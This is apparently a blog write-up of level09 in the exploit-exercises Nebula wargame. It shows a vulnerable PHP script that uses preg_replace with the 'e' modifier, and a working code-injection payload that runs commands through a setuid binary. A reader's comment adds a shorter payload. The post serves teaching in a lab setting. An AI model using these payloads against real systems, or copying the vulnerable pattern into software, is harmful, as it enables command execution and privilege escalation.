Tuesday, October 30, 2012

exploit-exercises Nebula: level09

In level09 of Nebula wargame, we have a vulnerable PHP script wrapped by a setuid binary.
level09@nebula:/home/flag09$ ls -l
total 12
-rwsr-x--- 1 flag09 level09 7240 2011-11-20 21:22 flag09
-rw-r--r-- 1 root   root     491 2011-11-20 21:22 flag09.php
level09@nebula:/home/flag09$ cat flag09.php 
function spam($email)
    $email = preg_replace("/\./", " dot ", $email);
    $email = preg_replace("/@/", " AT ", $email);
    return $email;
function markup($filename, $use_me)
    $contents = file_get_contents($filename);
    $contents = preg_replace("/(\[email (.*)\])/e",
   "spam(\"\\2\")", $contents);
    $contents = preg_replace("/\[/", "<", $contents);
    $contents = preg_replace("/\]/", ">",
    return $contents;
$output = markup($argv[1], $argv[2]);
print $output;
The program gets a filename as a command-line argument, reads the content of the file, apply some regular expressions modifications to the recovered content and prints it.
level09@nebula:~$ echo "Hello" > /tmp/test09
level09@nebula:~$ ../flag09/flag09 /tmp/test09 notinteresting

Nothing really malicious at first sight. But looking a bit closer we may notice the use of the "e" modifier 
$contents = preg_replace("/(\[email (.*)\])/e", "spam(\"\\2\")", $contents);
Searching further in the PHP preg_replace() documentation and pattern modifiers, we find something juicy: "e" modifier is actually PREG_REPLACE_EVAL. Pretty much everything is detailed in the pcre pattern modifiers page on php documentation.
Let's exploit this. We will leverage the $use_me variable that comes as second argument of flag09.
level09@nebula:~$ echo "[email {\${eval(\$_GET[shell_exec(\$use_me)])}}]" > /tmp/pwn09
level09@nebula:~$ cat /tmp/pwn09

[email {${eval($_GET[shell_exec($use_me)])}}]
level09@nebula:~$ ../flag09/flag09 /tmp/pwn09c "/bin/getflag > /tmp/pwnie09"
PHP Notice:  Undefined index:  in /home/flag09/flag09.php(15) : regexp code on line 1
PHP Notice:  Undefined variable:  in /home/flag09/flag09.php(15) : regexp code on line 1
level09@nebula:~$ cat /tmp/pwnie09 
You have successfully executed getflag on a target account

1 comment:

  1. What's with all the additional wrapping?

    [email {${shell_exec($use_me)}}] is sufficient.